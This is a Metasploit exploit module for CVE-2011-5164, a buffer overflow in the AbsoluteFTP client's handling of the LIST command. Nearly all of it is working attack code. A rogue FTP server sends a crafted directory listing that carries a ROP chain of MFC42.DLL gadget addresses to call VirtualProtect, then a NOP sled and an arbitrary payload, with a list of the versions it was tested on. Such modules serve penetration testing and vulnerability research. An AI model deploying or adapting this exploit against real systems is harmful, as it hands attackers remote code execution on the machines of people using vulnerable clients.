##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::FtpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'AbsoluteFTP 1.9.6 - 2.2.10 LIST Command Remote Buffer Overflow',
        'Description' => %q{
          This module exploits VanDyke Software AbsoluteFTP by overflowing
          a filename buffer related to the LIST command.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Node', # Original discovery, MSF module, ROP code
        ],
        'References' => [
          [ 'CVE', '2011-5164' ],
          [ 'OSVDB', '77105' ],
          [ 'EDB', '18102' ]
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
        },
        'Platform' => 'win',
        'Payload' => {
          'BadChars' => "\x00\x0d\x5c\x2f\x0a",
        },
        'Targets' => [
          [
            'WinXP SP2 - Windows 7 SP1 / AbsoluteFTP 1.9.6 - 2.2.10.252',
            {
              'Ret' => 0x5f479005,
              'Offset' => 3336
            }
          ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2011-11-09',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  # copypasted from ScriptFTP exploit
  def on_client_unknown_command(c, cmd, arg)
    c.put("200 OK\r\n")
  end

  def on_client_command_list(c, arg)
    conn = establish_data_connection(c)
    if (not conn)
      c.put("425 Can't build data connection\r\n")
      return
    end

    print_status(" - Data connection set up")
    code = 150
    c.put("#{code} Here comes the directory listing.\r\n")

    code = 226
    c.put("#{code} Directory send ok.\r\n")

    rop_gadgets =
      [
        0x5f46a206,  # POP EAX # RETN (MFC42.DLL)
        0x5f49b260,  # <- *&VirtualProtect()
        0x5f413fa0,  # MOV EAX,DWORD PTR DS:[EAX] # RETN 04    ** [MFC42.DLL]
        0x5f418d93,  # PUSH EAX # ADD AL,5F # POP ESI # POP EBX # RETN    ** [MFC42.DLL]
        0x90909090,  # NOPS (RETN 4)
        0x90909090,  # NOPS (-> ebx)
        0x5f432001,  # POP EBP # RETN (MFC42.DLL)
        0x5F4774D5,  # ptr to 'jmp esp' (from MFC42.DLL)
        0x5f46a206,  # POP EAX # RETN (MFC42.DLL)
        0xfffffdff,  # value to negate, target value : 0x00000201, target reg : ebx #<--ADJUST ME FOR BIGGER PAYLOAD
        0x5f46f6dd,  # NEG EAX # RETN (MFC42.DLL)
        0x5f47909a,  # XCHG EAX,EBX # DEC EDX # POP EDI # RETN (MFC42.DLL)
        0x90909090,  # NOPS (-> edi)
        0x5f498456,  # POP ECX # RETN (MFC42.DLL)
        0x5F4D1115,  # RW pointer (lpOldProtect) (-> ecx) !!!
        0x5f46a206,  # POP EAX # RETN (MFC42.DLL)
        0xffffffc0,  # value to negate, target value : 0x00000040, target reg : edx
        0x5f46f6dd,  # NEG EAX # RETN (MFC42.DLL)
        0x5f4892df,  # XCHG EAX,EDX # DEC EAX # POP EDI # RETN (MFC42.DLL)
        0x5f479005,  # ROP NOP (-> edi)
        0x5f46a206,  # POP EAX # RETN (MFC42.DLL)
        0x90909090,  # NOPS (-> eax)
        0x5f4755b8,  # PUSHAD # RETN (MFC42.DLL)
      ].pack("V*")

    buffer = [0x5f479005].pack("V*") * 848 # ROP NOP's
    buffer << rop_gadgets
    buffer << "\x90" * 30
    buffer << payload.encoded

    # copypasted from ScriptFTP exploit
    print_status(" - Sending directory list via data connection")
    dirlist = "-rwxr-xr-x   5 ftpuser  ftpusers       512 Jul 26  2001 #{buffer}.txt\r\n"
    dirlist << "   5 ftpuser  ftpusers       512 Jul 26  2001 A\r\n"
    dirlist << "rwxr-xr-x   5 ftpuser  ftpusers       512 Jul 26  2001 #{buffer}.txt\r\n"

    conn.put(dirlist)
    conn.close
    return
  end
end

=begin
Exploit has been tested to work on:

AbsoluteFTP 2.2.10 (build 252)
AbsoluteFTP 2.2.9 (build 248)
AbsoluteFTP 2.2.8 (build 241)
AbsoluteFTP 2.2.7 (build 238)
AbsoluteFTP 2.2.6 (build 230)
AbsoluteFTP 2.2.5 (build 225)
AbsoluteFTP 2.2.4 (build 216)
AbsoluteFTP 2.2.3 (build 210)
AbsoluteFTP 2.2.2 (build 203)
AbsoluteFTP 2.2 (build 197)
AbsoluteFTP 2.2 (build 291)
AbsoluteFTP 2.2B3 (build 163)
AbsoluteFTP 2.2B2 (build 158)
AbsoluteFTP 2.2B1 (build 144)
AbsoluteFTP 2.0.5 (build 297)
AbsoluteFTP 2.0.4 (build 293)
AbsoluteFTP 2.0.3 (build 289)
AbsoluteFTP 1.9.6

Does not work on:
AbsoluteFTP 1.8
=end
